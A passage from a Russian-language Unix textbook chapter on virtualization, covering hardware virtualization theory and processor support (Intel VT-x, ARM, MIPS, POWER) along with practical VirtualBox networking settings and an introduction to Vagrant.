Несоблюдение описанного условия не делает создание или использование виртуальных машин принципиально невозможным, и есть практические примеры реализаций, подтверждающие это. Однако соблюсти оптимальный баланс между тремя свойствами: изоляцией, эквивалентностью и эффективностью, — становится невозможным. Чаще всего расплачиваться приходится скоростью работы виртуальных машин из-за необходимости тщательного поиска и программного контроля за

3.1. Открытые облачные системы 215 ABC Unix, Выпуск 1.0.01

исполнением ими служебных, но не привилегированных инструкций, так как сама аппаратура не обеспечивает этого (рис. 2).

Рис. 2: Невыполнение условия виртуализуемости. Служебные, но не привилегированные инструк- ции требуют реализации сложной логики в мониторе Даже единственная такая инструкция, исполненная напрямую ВМ, угрожает стабильной работе монитора, и поэтому необходимо проверять весь поток гостевых инструкций. В работе [8] присутствуют как явно указанные упрощения структуры реальных систем (отсутствие периферии и системы ввода-вывода), так и неявные:

- исполняемые гостевые программы должны преимущественно состоять из безвредных инструкций, - однопроцессорность.

Структура гостевых программ

Для эффективной работы программ внутри ВМ необходимо, чтобы большая часть их инструк- ций являлись безвредными. Как правило, это верно для прикладных приложений. Операционные системы, в свою очередь, предназначены для управления ресурсами системы, что подразумева- ет использование ими привилегированных и служебных инструкций, и монитору приходится их перехватывать и интерпретировать с соответствующим падением производительности. Поэтому в идеале в наборе инструкций должно быть как можно меньше привилегированных для того, чтобы частота возникновения ловушек была минимальной.

Периферия

Поскольку периферийные устройства являются служебным ресурсом ЭВМ, очевидно, что для обес- печения условий изоляции и эквивалентности необходимо, чтобы все попытки доступа к ним были контролируемы монитором ВМ так же, как они контролируются в многозадачной операционной си- стеме её ядром. В настоящее время доступ к устройствам чаще всего производится через механизм отражения их в физической памяти системы (англ. memory mapped I/O), что означает, что внутри монитора это чтение/запись некоторых регионов должно или вызывать ловушку защиты памяти, или быть не служебным, т.е. не вызывать ловушку и не влиять на состояние неконтролируемым образом. Интенсивность взаимодействия приложений с периферией может быть различна и определяется их функциональностью, что сказывается на их замедлении при виртуализации. Кроме того, монитор ВМ может делать различные классы периферии, присутствующей на хозяине, доступными внутри нескольких ВМ различными способами. • Выделенное устройство — устройство, доступное исключительно внутри одной гостевой си- стемы. Примеры: клавиатура, монитор.

216 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

• Разделяемое — общее для нескольких гостей. Такое устройство или имеет несколько частей, каждая из которых выделена для нужд одного из них (англ. partitioned mode), например, жёсткий диск с несколькими разделами, или подключается к каждому из них поочерёдно (англ. shared mode). Пример: сетевая карта. • Полностью виртуальное — устройство, отсутствующее в реальной системе (или присутствую- щее, но в ограниченном количестве) и моделируемое программно внутри монитора. Примеры: таймеры прерываний — каждый гость имеет собственный таймер, несмотря на то, что в хо- зяйской системе есть только один, и он используется для собственных нужд монитора.

Прерывания

Прерывания являются механизмом оповещения процессора о событиях внешних устройств, тре- бующих внимания операционной системы. В случае использования виртуальных машин монитор должен иметь возможность контролировать доставку прерываний, так как часть или все из них необходимо обрабатывать именно внутри монитора. Например, прерывание таймера может быть использовано им для отслеживания/ограничения использования гостями процессорного времени и для возможности переключения между несколькими одновременно запущенными ВМ. Кроме то- го, в случае нескольких гостей заранее неясно, какому из них следует доставить прерывание, и принять решение должен монитор. Простейшее решение, обеспечивающее изоляцию, — это направлять все прерывания в монитор ВМ. Эквивалентность при этом будет обеспечиваться им самим: прерывание при необходимости будет доставлено внутрь гостя через симуляцию изменения его состояния. Монитор может дополнитель- но создавать виртуальные прерывания, обусловленные только логикой его работы, а не внешними событиями. Однако эффективность такого решения не будет оптимальной. Как правило, реакция системы на прерывание должна произойти в течение ограниченного времени, иначе она потеряет смысл для внешнего устройства или будет иметь катастрофические последствия для системы в це- лом. Введение слоя виртуализации увеличивает задержку между моментом возникновения события и моментом его обработки в госте по сравнению с системой без виртуализации. Более эффектив- ным является аппаратный контроль за доставкой прерываний, позволяющий часть из них сделать безвредными для состояния системы и не требовать каждый раз вмешательства программы мони- тора.

Многопроцессорные системы

Практически все современные компьютеры содержат в себе более одного ядра или процессора. Кроме того, внутри одного монитора могут исполняться несколько ВМ, каждая из которых может иметь в своём распоряжении несколько виртуальных процессоров. Рассмотрим, как эти обстоятель- ства влияют на условия виртуализации. Синхронизация и виртуализация Введение в рассмотрение нескольких хозяйских и гостевых процессоров оставляет условие эффек- тивной виртуализуемости в силе. Однако необходимо обратить внимание на выполнение условий эффективности работы многопоточных приложений внутри ВМ. В отличие от однопоточных, для них характерны процессы синхронизации частей программы, исполняющихся на различных вирту- альных процессорах. При этом все участвующие потоки ожидают, когда все они достигнут заранее определённой точки алгоритма, т.н. барьера. В случае виртуализации системы один или несколько гостевых потоков могут оказаться неактивными, вытесненными монитором, из-за чего остальные будут попусту тратить время. Примером такого неэффективного поведения гостевых систем является синхронизация с задейство- ванием циклических блокировок (англ. spin lock) внутри ВМ [9]. Будучи неэффективной и поэтому неиспользуемой для однопроцессорных систем, в случае нескольких процессоров она является лег- ковесной альтернативой другим, более тяжеловесным замкам (англ. lock), используемым для входа в критические секции параллельных алгоритмов. Чаще всего они используются внутри операци- онной системы, но не пользовательских программ, так как только ОС может точно определить,

3.1. Открытые облачные системы 217 ABC Unix, Выпуск 1.0.01

какие из системных ресурсов могут быть эффективно защищены с помощью циклических блоки- ровок. Однако в случае виртуальной машины планированием ресурсов на самом деле занимается не ОС, а монитор ВМ, который в общем случае не осведомлён о них и может вытеснить поток, способный освободить ресурс, тогда как второй поток будет выполнять циклическую блокировку, бесполезно тратя процессорное время. Оптимальным решением при этом является деактивация заблокированного потока до тех пор, пока нужный ему ресурс не освободится. Существующие решения для данной проблемы описаны ниже. 1. Монитор ВМ может пытаться детектировать использование циклических блокировок госте- вой ОС. Это требует анализа кода перед исполнением, установки точек останова по адресам замка. Способ не отличается универсальностью и надёжностью детектирования. 2. Гостевая система может сигнализировать монитору о намерении использовать циклическую блокировку с помощью специальной инструкции. Способ более надёжный, однако требующий модификации кода гостевой ОС. Прерывания в многопроцессорных системах Наконец, отметим, что схемы доставки и обработки прерываний в системах с несколькими процес- сорами также более сложны, и это приходится учитывать при создании монитора ВМ для таких систем, при этом его эффективность может оказаться ниже, чем у однопроцессорного эквивалента.

Преобразование адресов

Модель машинных инструкций, использованная ранее для формулировки утверждения об эффек- тивной виртуализации, использовала простую линейную схему трансляции адресов, основанную на сегментации, популярную в 70-х годах прошлого века. Она является вычислительно простой, не изменяется при введении монитора ВМ, и поэтому анализа влияния механизма преобразования адресов на эффективность не производилось. В настоящее время механизмы страничной виртуальной памяти и применяют нелинейное преобра- зование виртуальных адресов пользовательских приложений в физические адреса, используемые аппаратурой. Участвующий при этом системный ресурс — регистр-указатель адреса таблицы пре- образований (чаще всего на практике используется несколько таблиц, образующих иерархию, име- ющую общий корень). В случае работы ВМ этот указатель необходимо виртуализовать, так как у каждой гостевой системы содержимое регистра своё, как и положение/содержимое таблицы. Сто- имость программной реализации этого механизма внутри монитора высока, поэтому приложения, активно использующие память, могут терять в эффективности при виртуализации. Для решения этой проблемы используется двухуровневая аппаратная трансляция адресов (рис. 3). Гостевые ОС видят только первый уровень, тогда как генерируемый для них физический адрес в дальнейшем транслируется вторым уровнем в настоящий адрес.

218 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

Рис. 3. Двухуровневая трансляция адресов. Первый уровень контролируется гостевыми ОС, второй — монитором виртуальных машин

TLB

Другой ресурс ЭВМ, отвечающий за преобразование адресов, — это буфер ассоциативной транс- ляции (англ. translation lookaside buffer, TLB), состоящий из нескольких записей. Каждая гостевая система имеет своё содержимое TLB, поэтому при смене активной ВМ или переходе в монитор он должен быть сброшен. Это негативно сказывается на производительности систем, так как вос- становление его содержимого требует времени, в течение которого приходится использовать менее эффективное обращение к таблице трансляций адресов, расположенной в памяти. Решение состоит в разделении ресурсов TLB между всеми системами [10]. Каждая строка буфе- ра ассоциируется с идентификатором — тэгом, уникальным для каждой ВМ. При поиске в нём аппаратурой учитываются только строки, тэг которых соответствует текущей ВМ.

Преобразование адресов для периферийных устройств

Кроме процессоров к оперативной памяти напрямую могут обращаться и периферийные устрой- ства — с помощью технологии DMA (англ. direct memory access). При этом обращения в классиче-

3.1. Открытые облачные системы 219 ABC Unix, Выпуск 1.0.01

ских системах без виртуализации идёт по физическим адресам. Очевидно, что внутри виртуальной машины необходимо транслировать такие адреса, что превращается в накладные расходы и пони- жение эффективности монитора. Решение состоит в использовании устройства IOMMU (англ. Input output memory management unit), позволяющего контролировать обращения хозяйских устройств к физической памяти.

Расширение принципа

Расширим условие виртуализуемости, заменив в нём слово «инструкция» на «операция»: мно- жество служебных операций является подмножеством привилегированных. При этом под операцией будем подразумевать любую архитектурно определённую активность по чтению или изменению состояния системы, в том числе инструкции, прерывания, доступы к устройствам, преобразования адресов и т.п. При этом условие повышения эффективности виртуализации будет звучать следующим образом: в архитектуре системы должно присутствовать минимальное число служебных опера- ций. Достигать его можно двумя способами: переводя служебные инструкции в разряд безвредных или уменьшая число привилегированных. Для этого большинство архитектур пошло по пути до- бавления в регистр состояния M нового режима r — режима монитора ВМ (англ. root mode). Он соотносится с режимом s так, как s — с u; другими словами, обновлёный класс привилегированных инструкций теперь вызывает ловушку потока управления, переводящую процессор из s в r.

Статус поддержки в современных архитектурах

Рассмотрим основные современные архитектуры вычислительных систем, используемых на серве- рах, рабочих станциях, а также во встраиваемых системах, с точки зрения практической реализа- ции описанных выше теоретических принципов. См. также серию статей [5,6,7].

IBM POWER

Компания IBM была одной из первых, выведших архитектуру с аппаратной поддержкой виртуали- зации на рынок серверных микропроцессоров в серии POWER4 в 2001 году. Она предназначалась для создания изолированных логических разделов (англ. logical partitions, LPAR), с каждым из которых ассоциированы один или несколько процессоров и ресурсы ввода-вывода. Для этого в процессор был добавлен новый режим гипервизора к уже присутсвовавшим режимам супервизора и пользователя. Для защиты памяти каждый LPAR ограничен в режиме с отключенной трансля- цией адресов и имеет доступ лишь к небольшому приватному региону памяти; для использования остальной памяти гостевая ОС обязана включить трансляцию, контролируемую монитором ВМ. В 2004 году развитие этой архитектуры, названное POWER5, принесло серьёзные усовершенствова- ния механизмов виртуализации. Так, было добавлено новое устройство таймера, доступное только для монитора ВМ, что позволило ему контролировать гостевые системы более точно и выделять им процессорные ресурсы с точностью до сотой доли от процессора. Также монитор ВМ получил возможность контролировать адрес доставки прерываний — в LPAR или в гипервизор. Самым важ- ным же нововведением являлся тот факт, что присутствие гипервизора являлось обязательным — он загружался и управлял системными ресурсами, даже если в системе присутствовал единствен- ный LPAR-раздел. Поддерживаемые ОС (AIX, Linux, IBM i) были модифицированы с учётом этого, чтобы поддерживать своеобразную паравиртуализационную схему. Для управления устройствами ввода-вывода один (или два, для балансировки нагрузки) из LPAR загружает специальную опе- рационную систему — virtual I/O server (VIOS), предоставляющую эти ресурсы для остальных разделов.

220 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

SPARC

Компания Sun, развивавшая системы UltraSPARC и ОС Solaris, предлагала виртуализацию уровня ОС (т.н. контейнеры или зоны) начиная с 2004 г. В 2005 году в многопоточных процессорах Niagara 1 была представлена аппаратная виртуализация. При этом гранулярность виртуализации была равна одному потоку (всего чип имел восемь ядер, четыре потока на каждом). Для взаимодействия ОС и гипервизора был представлен публичный и стабильный интерфейс для привилегированных приложений [3], скрывающий от ОС большинство архитектурных регистров. Для трансляции адресов используется описанная ранее двухуровневая схема с виртуальными, ре- альными и физическими адресами. При этом TLB не хранит промежуточный адрес трансляции.

Intel IA-32 и AMD AMD64

В отличие от POWER и SPARC, архитектура IA-32 (и её расширение AMD64) никогда не была под- контрольна одной компании, которая могла бы добавлять функциональность (пара)виртуализации между аппаратурой и ОС, нарушающую обратную совместимость с существующими операцион- ными системами. Кроме того, в ней явно нарушены условия эффективной виртуализации — около 17 служебных инструкций не являются привилегированными, что мешало создать аппаратно под- держиваемые мониторы ВМ. Однако программные мониторы существовали и до 2006 года, когда Intel представила технологию VT-x, а AMD — похожую, но несовместимую с ней AMD-V. Были представлены новые режимы процессора — VMX root и non root, и уже существовавшие режимы привилегий 0-3 могут быть использованы в обоих из них. Переход между режимами может быть осуществлён с помощью новых инструкций vmxon и vmxoff. Для хранения состояния гостевых систем и монитора используется новая структура VMCS (англ. virtual machine control structure), копии которой размещены в физической памяти и доступны для монитора ВМ. Интересным решением является конфигурируемость того, какие события в госте будут вызывать событие ловушки и переход в гипервизор, а какие оставлены на обработку ОС. Например, для каждого гостя можно выбрать, будут ли внешние прерывания обрабатываться им или монитором; запись в какие биты контрольных регистров CR0 и CR4 будет перехватываться; какие исключения должны обрабатываться гостём, а какие — монитором и т.п. Данное решение позволяет добиваться компромисса между степенью контроля над каждой ВМ и эффективностью виртуализации. Таким образом, для доверенных гостей контроль монитора может быть ослаблен, тогда как одновременно исполняющиеся с ними сторонние ОС будут всё так же под его строгим наблюдением. Для опти- мизации работы TLB используется описанная выше техника тэгирования его записей с помощью ASID (англ. address space identifier). Для ускорения процесса трансляции адресов двухуровневая схема трансляции получила имя Intel EPT (англ. extended page walk).

Kernel Samepage Merging (KSM)

KSM является особенностью ядра Linux. КСМ механизм позволяет гостевым виртуальным маши- нам совместно использовать страницы памяти. В условиях, когда многие из гостевых операционных систем схожи, это может привести к значительной экономии памяти.

Intel Turbo Boost

Intel Turbo Boost - технология, автоматически повышающая при максимальной нагрузке частоту одного или нескольких процессорных ядер выше номинала, если при этом температура и энергопо- требление процессора остаются в пределах его спецификаций. Она позволяет поднимать произво- дительность как однопоточных, так и многопоточных приложений, в настоящее время её влияние особенно заметно в приложениях, преимущественно использующих одно или два ядраю Intel Turbo Boost 2.0 - эту технологию поддерживают процессоры Intel Core i7/i5 второго поколения созданные

3.1. Открытые облачные системы 221 ABC Unix, Выпуск 1.0.01

на основе микроархитектуры Intel Sandy Bridgе. Основным отличием от первой версии является способность разгонять не только процессорные ядра, но и встроенное в процессор графическое ядро.

VT-x (Intel Virtualization Technology)

Технология аппаратной поддержки виртуализации в процессорах Intel, сейчас распространившаяся практически на все модели серверных и десктопных процессоров:

VT-d (Intel Virtualization Technology for Directed I/O)

Технология виртуализации ввода-вывода, позволяющая гостевым машинам напрямую использо- вать сетевые адаптеры, графические и дисковые контроллеры.

AMD-V (AMD Virtualization Technology)

Технология аппаратной поддержки виртуализации в процессорах AMD, функционально аналогич- ная технологии VT-x, но реализованная несколько иначе, поэтому в любом ПО для виртуализации поддержка этих технологий может присутствовать в различных комбинациях.

AMD-vi

Технология аппаратной поддержки виртуализации в процессорах AMD аналогичная VT-d.

Intel IA-64 (Itanium)

Intel добавила аппаратную виртуализацию в Itanium (технология VT-i [4]) одновременно с IA-32 — в 2006 году. Специальный режим включался с помощью нового бита в статусном регистре PRS.vm. С включенным битом ранее служебные, но не привилегированные инструкции начинают вызывать ловушку и выход в монитор. Для возвращения в режим гостевой ОС используется инструкция vmsw. Часть инструкций, являющаяся служебными, при включенном режиме виртуализации ге- нерируют новый вид синхронного исключения, для которого выделен собственный обработчик. Поскольку операционная система обращается к аппаратуре посредством специального интерфейса PAL (англ. processor abstraction level), последний был расширен, чтобы поддерживать такие опе- рации, как создание и уничтожение окружений для гостевых систем, сохранение и загрузка их состояния, конфигурирование виртуальных ресурсов и т.д. Можно отметить, что добавление аппа- ратной виртуализации в IA-64 потребовало меньшего количества усилий по сравнению с IA-32.

ARM

Архитектура ARM изначально была предназначена для встраиваемых и мобильных систем, эффек- тивная виртуализация которых, по сравнению с серверными системами, долгое время не являлась ключевым фактором коммерческого и технологического успеха. Однако в последние годы намети- лась тенденция к использованию ВМ на мобильных устройствах для обеспечения защиты крити- чески важных частей системного кода, например, криптографических ключей, используемых при обработке коммерческих транзакций. Кроме того, процессоры ARM стали продвигаться на рынок серверных систем, и это потребовало расширить архитектуру и добавить в неё такие возможности, как поддержка адресации больших объёмов памяти и виртуализация. Оба аспекта были отражены в избранном компанией ARM подходе к развитию своей архитекту- ры. На рис. 4 представлена схема, подразумевающая вложенность двух уровней виртуализации, представленная в 2010 году в обновлении архитектуры Cortex A15 [1].

222 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

Рис. 4. Виртуализация ARM. Монитор TrustZone обеспечивает изоляцию и криптографическую аутентификацию доверенного «мира». В обычном «мире» используется собственный монитор ВМ Для обеспечения изоляции критических компонент используется первый слой виртуализации, на- зываемый TrustZone. С его помощью все запущенные программные компоненты делятся на два «мира» — доверенный и обычный. В первой среде исполняются те части системы, работа кото- рых не должна быть подвластна внешним влияниям обычного кода. Во второй среде исполняются пользовательские приложения и операционная система, которые теоретически могут быть скомпро- метированы. Однако обычный «мир» не имеет доступа к доверенному. Монитор TrustZone обеспе- чивает доступ в обратном направлении, что позволяет доверенному коду контролировать состояние аппаратуры. Второй слой виртуализации исполняется под управлением недоверенного монитора и предоставля- ет возможности мультиплексирования работы нескольких пользовательских ОС. В нём добавлены новые инструкции HVC и ERET для входа и выхода в/из режим(а) гипервизора. Для событий ловушки использован ранее зарезервированный вектор прерываний 0x14, добавлены новые реги- стры: указатель стэка SPSR, состояние виртуальных ресурсов HCR и регистр «синдрома» HSR, в котором хранится причина выхода из гостя в монитор, что позволяет последнему быстро проана- лизировать ситуацию и проэмулировать необходимую функциональность без избыточного чтения состояния гостя. Так же, как это сделано в рассмотренных ранее архитектурах, для ускорения механизмов транс- ляции адресов используется двухуровневая схема, в которой физические адреса гостевых ОС яв- ляются промежуточными. Внешние прерывания могут быть настроены как на доставку монитору, который потом перенаправляет их в гость с помощью механизма виртуальных прерываний, так и на прямую отправку в гостевую систему.

MIPS

Процессоры MIPS развивались в направлении, обратном наблюдаемому для ARM: от высокопроиз- водительных систем к встраиваемым и мобильным. Тем не менее, аппаратная виртуализация для неё появилась относительно недавно, в 2012 г. Архитектура MIPS R5 принесла режим виртуализа- ции MIPS VZ [2]. Он доступен как для 32-битного, так и для 64-битного варианта архитектуры. Добавленное архитектурное состояние позволяет хранить контекст ВМ и монитора отдельно. На- пример, для нужд гипервизора введена копия системного регистра COP0, независимая от копии гостя. Это позволяет оптимизировать время переключения между ними, в то время как пере- ключение между несколькими гостевыми ОС требует обновления COP0 содержимым из памяти и является менее эффективным. Кроме того, часть бит гостевого регистра, описывающие набор воз- можностей текущего варианта архитектуры и потому ранее используемые только для чтения, из режима монитора доступны для записи, что позволяет ему декларировать возможности, отличные от действительно присутствующих на хозяине. Привилегии гипервизора, операционной системы и пользователя образуют т.н. луковую (англ. onion) модель. В ней обработка прерываний идёт снаружи внутрь, т.е. сначала каждое из них проверяется на соответствие правилам монитора, затем ОС. Синхронные исключения (ловушки), наоборот, обрабатываются сперва ОС, а затем монитором.

3.1. Открытые облачные системы 223 ABC Unix, Выпуск 1.0.01

Так же, как это сделано в рассмотренных ранее архитектурах, для ускорения механизмов транс- ляции адресов используют тэги в TLB и двухуровневую трансляцию в MMU. Для поддержки разработки паравиртуализационных гостей добавлена новая инструкция hypercall, вызывающая ловушку и выход в режим монитора.

Дополнительные темы

В заключение рассмотрим дополнительные вопросы обеспечения эффективной виртуализации, свя- занные с переключением между режимами монитора и ВМ.

Уменьшение частоты и выходов в режим монитора с помощью предпросмотра инструкций

Частые прерывания работы виртуальной машины из-за необходимости выхода в монитор негативно влияют на скорость симуляции. Несмотря на то, что производители процессоров работают над уменьшением связанных с этими переходами задержек (для примера см. таблицу 1), они всё же достаточно существенны, чтобы пытаться минимизировать их частоту возникновения. —————- ———— —————- Микроархитектура Дата запуска Задержка, тактов —————- ———— —————- Prescott 3 кв. 2005 3963 Merom 2 кв. 2006 1579 Penryn 1 кв. 2008 1266 Nehalem 3 кв. 2009 1009 Westmere 1 кв. 2010 761 Sandy Bridge 1 кв. 2011 784 —————- ———— —————- Таблица 1. Длительность перехода между режимами аппаратной виртуализации для различных поколений микроархитектур процессоров Intel IA-32 (данные взяты из [11]) Если прямое исполнение с использованием виртуализации оказывается неэффективным, имеет смысл переключиться на другую схему работы, например, на интерпретацию или двоичную транс- ляцию.

На практике исполнения ОС характерна ситуация, что инструкции, вызывающие ловушки потока управления, образуют кластера, в которых две или более из них находятся недалеко друг от друга, тогда как расстояние между кластерами значительно. В следующем блоке кода для IA-32 приведён пример такого кластера. Звёздочкой обозначены все инструкции, вызывающие выход в монитор.

* in %al,%dx * out $0x80,%al mov %al,%cl mov %dl,$0xc0 * out %al,%dx * out $0x80,%al * out %al,%dx * out $0x80,%al

Для того, чтобы избежать повторения сценария: выход из ВМ в монитор, интерпретация инструк- ции, обратный вход в ВМ только для того, чтобы на следующей инструкции вновь выйти в монитор, — используется предпросмотр инструкций [11]. После обработки ловушки, прежде чем монитор пе- редаст управление обратно в ВМ, поток инструкций просматривается на несколько инструкций вперёд в поисках привилегированных инструкций. Если они обнаружены, симуляция на некоторое время переключается в режим двоичной трансляции. Тем самым избегается негативное влияние эффекта кластеризации привилегированных инструкций.

Рекурсивная виртуализация

Ситуация, когда монитор виртуальных машин запускается под управлением другого монитора, непосредственно исполняющегося на аппаратуре, называется рекурсивной виртуализацией. Теоре-

224 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

тически она может быть не ограничена только двумя уровнями — внутри каждого монитора ВМ может исполняться следующий, тем самым образуя иерархию гипервизоров. Возможность запуска одного гипервизора под управлением монитора ВМ (или, что тоже самое, симулятора) имеет практическую ценность. Любой монитор ВМ — достаточно сложная програм- ма, к которой обычные методы отладки приложений и даже ОС неприменимы, т.к. он загружается очень рано в процессе работы системы, когда отладчик подключить затруднительно. Исполнение под управлением симулятора позволяет инспектировать и контролировать его работу с самой пер- вой инструкции. Голдберг и Попек в своей упомянутой ранее работе рассмотрели вопросы эффективной поддержки в том числе и рекурсивной виртуализации. Однако их выводы, к сожалению, не учитывают многие из упомянутых выше особенностей современных систем. Рассмотрим одно из затруднений, связанных со спецификой вложенного запуска мониторов ВМ — обработку ловушек и прерываний. В простейшем случае за обработку всех типов исключительных ситуаций всегда отвечает самый внешний монитор, задача которого — или обработать событие самостоятельно, тем самым «спрятав» его от остальных уровней, или передать его следующему. Как для прерываний, так и для ловушек это часто оказывается неоптимальным — событие должно пройти несколько уровней иерархии, каждый из которых внесёт задержку на его обработку. На рис. 5 показана обработка двух типов сообщений — прерывания, возникшего во внешней аппаратуре, и ловушки потока управления, случившейся внутри приложения.

Рис. 5. Рекурсивная виртуализация. Все события должны обрабатываться внешним монитором, который спускает их вниз по иерархии, при этом формируется задержка Для оптимальной обработки различных типов ловушек и прерываний для каждого из них должен быть выбран уровень иерархии мониторов ВМ, и при возникновении события управление должно передаваться напрямую этому уровню, минуя дополнительную обработку вышележащими уровня- ми и без связанных с этим накладных расходов. Существуют предложения об интерфейсах между вложенными уровнями виртуализации [12], кото- рые позволили бы эффективно поддерживать вложенность нескольких мониторов ВМ. Однако на практике не было анонсировано реализации подобной или аналогичной технологии в продукции. Современные процессоры аппаратно поддерживают максимум один уровень монитора ВМ.

Управление виртуальными машинами с помощью VirtualBox

Сетевые настройки

3.1. Открытые облачные системы 225 ABC Unix, Выпуск 1.0.01

Основные термины и обозначения

Виртуальная машина (ВМ) операционная система, запущенная в система управления вирту- альными машинами. Хост-система компьютер, узел на котором работает система управления виртуальными машина- ми. Гостевая система виртуальная машина, запущенная в системе управления виртуальными маши- нами.

Основные параметры продключения

Типы подключения

VirtualBox поддерживает следующие виды подключений гостевой системы к сети: 1. Не подключен 2. NAT (используется по умолчанию) 3. Сеть NAT 4. Сетевой мост (Bridged) 5. Внутренняя сеть (Internal Network) 6. Виртуальный адаптер хоста (Host Only) 7. Универсальный драйвер

Не подключен

Сетевая карта присутствует, но соединения с ней нет.

NAT (Трансляция сетевых адресов)

Создается по умолчанию при создании виртуальной. Обеспечивает:

226 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

• доступ из ВМ к хост-системе, • доступ из ВМ к Интернет с IP-адресом хост системы, • запрет доступа из ВМ к другим ВМ, • запрет доступа из Интернет к ВМ, • запрет доступа с хост-системы к ВМ. Принцип трансляции сетевых адресов заключается в следующем. Когда гостевая ОС отправляет пакеты на конкретный адрес удаленной машины в сети, сервис NAT, работающий под VirtualBox, перехватывает эти пакеты, извлекает из них сегменты, содержащие в себе адрес пункта отправ- ки (IP-адрес гостевой операционной системы) и производит их замену на IP-адрес машины-хоста (SNAT). Затем заново упаковывает их и отправляет по указанному адресу. В режиме NAT сетевому интерфейсу ВМ присваивается адрес из диапазона 10.0..0/24, где N - порядковый номера интерфейса. Сетевому шлюзу назначается адрес 10.0.2.2, серверу имен (DNS) назначается адрес 10.0.2.3.

Примечание: Нельзя назначать вручную IP-адрес интерфейса NAT внутри ВМ. Он должен всегда назначаться с помощью сервера DHCP.

Сеть NAT

Продолжение следует ...

Сетевой мост (Bridged)

Обьединяет виртуальный сетевой адаптер с одним из установленных сетевых интерфейсов хост системы. Если на хост-системе активны несколько сетевых устройств, то поле Имя: позволяет выбрать, какой из них используется в качестве моста. В данном случае виртуальная машина ста- новится просто еще одним компьютером в локальной сети, а доступ к ней по сети определяется настройками сетевого экрана.

3.1. Открытые облачные системы 227 ABC Unix, Выпуск 1.0.01

Внутренняя сеть (Internal Network)

Полностью программный сетевого маршрутизатор, предназначеный для организации частная ло- кальная сеть только для гостевых систем без доступа в Интернет и полной их изодяции от хост- системы.

Может быть организовано несколько изолированных между собой внутренних сетей с разным зна- чением поля Имя:.

Виртуальный адаптер хоста (Host-only)

В этом режиме на хост-системе создается виртуальный сетевой коммутатор с виртуальным сетевым интерфейсом vboxnet.

Виртуальный комутутор ведет себя как как обычный сетевой коммутатор, соединяя между собой хост-систему и гостевые системы. Можно задать IP-адрес и подсеть. Можно настроить встроенный

228 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

DHCP-сервер для раздачи гостевым системам IP-адресов. Подсеть “Виртуального адаптера хоста” не имеет внешнего шлюза для выхода в Интернет. Для создания виртуального адаптера хоста в основном окне VirtualBox нужно в меню “Настройки” выбрать вкладку “Сеть”.

Во вкладке “Сеть” выбрать подвкладку “Виртуальные сети хоста” и создать новую сеть с помощью иконки справа со знаком +. Первая созданная сеть будет называться vboxnet0, последующие - vboxnet1, vboxnet2 и т. д.

3.1. Открытые облачные системы 229 ABC Unix, Выпуск 1.0.01

Иконка со знаком - удаляет существующую сеть. Иконка с изображением отвертки позволяет редактировать параметры сети:

230 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

и параметры встроенного DHCP-сервера сети:

Для отключения DHCP-сервера нужно убрать “галочку” с надписи “Включить сервер”.

Универсальный драйвер

Предназначен для подключения внешнего драйвера. С пакетом расширений (extension pack) по- ставляются два типа таких драйверов: UDP туннель Можно использовать для простого и прозрачного прямого соединения виртуаль- ных машин работающих на разных хостах, через существующую сетевую инфраструктуру. VDE сеть Позволяет использовать Virtual Distributed Ethernet коммутатор на Linux или FreeBSD хосте.

3.1. Открытые облачные системы 231 ABC Unix, Выпуск 1.0.01

Параметры вкладки “Дополнительно”

Тип адаптера

Для каждого из адаптеров виртуальной машины можно выбрать один из 5 драйверов эмулирующих реальные сетевые адаптеры различных производителей оборудования: • AMD PCNet PCI II (Am79C970A); • AMD PCNet FAST III (Am79C973, the default); • Intel PRO/1000 MT Desktop (82540EM); • Intel PRO/1000 T Server (82543GC); • Intel PRO/1000 MT Server (82545EM); Кроме эмуляции стандартных сетевых устройств поддерживается так называемая паравиртуаль- ная сеть (virtio-net). Драйвер virtio-net позволяет избежать сложности эмуляции сетевого обо- рудования и позволяет повысить производительность сети. Сетевой драйвер virtio-net доступен для следующих гостевых систем: • GNU/Linux с ядром начиная с версии 2.6.25. • Для MS Windows драйвер virtio-net можно загрузить со страницы проекта KVM.

Неразборчивый режим (Promiscuous Mode)

В этом режиме принимаются сетевые пакеты, предназначенные не только для данного адаптера виртуальной машины, но и сетевые пакеты предназначенные для других узлов и сетевых устройств.

232 Глава 3. Открытые облачные системы ABC Unix, Выпуск 1.0.01

“Неразборчивый режим” обычно применяется если виртуальная машина применяется в качестве маршрутизатора локальной сети.

MAC адрес (MAC Address)

При создании виртуального сетевого адаптера VirtualBox автоматически генерирует MAC-адрес. Если необходимо изменить уже имеющийся MAC-адрес, то для этого служит небольшая кнопка справа, которая генерирует новое значение. В случае клонирования существующей виртуальной машины, для нее можно создать свой собственный уникальный MAC-адрес, который будет отли- чаться от адреса оригинальной машины.

Подключить кабель

Данная “галочка” позволяет имитировать подключение или отключение физического кабеля.

Проброс портов

Кнопка открывает диалоговое окно для настрайки правил трансляции (“проброса”) пакетов. В следующем примере порт 2222 на хост-системе “пробрасывается” на порт 22, гостевой системы:

В результате появляется доступ к гостевой системе по SSH. Любой другой трафик будет отклонен виртуальной машиной, как не подпадающий под правила.

3.1. Открытые облачные системы 233 ABC Unix, Выпуск 1.0.01

Продолжение следует ...

Введение в систему управления виртуальными машинами Vagrant

Vagrant - оболочка для управления “системами управления виртуальными машинами” (по умолча- нию - VirtualBox). Файлы конфигурации виртуальных машин (.vbox) созданных с помощью Vagrant будут работать на другом компьютере (без самой оболочки Vagrant).

Основные компоненты

Vagrant работает с шаблонами, содержащими данные для создания виртуальной машины. Шаб- лоны называются “контейнерами” (“boxes”). Шаблоны можно загрузить из интернета с помощью репозиториев. Система виртуализации По умолчанию это VirtualBox. Для оболчки Vagrant VirtualBox является всего лишь программой для запуска ВМ. Каталог ~/.vagrant.d Каталог содержит “контейнеры” ВМ (в том числе и загруженные образы виртуальных файловых систем). При выполнении команды vagrant box add образ ВМ загружается в каталог ~/vagrant.d в независимости от того из какого каталога выполняется команда. Каталог проекта Для создания каталога проекта можно использовать любой каталог доступный на запись. Обычный каталог превращается в каталог проекта если в нем выполнить команду: vagrant init ИМЯ_ВМ

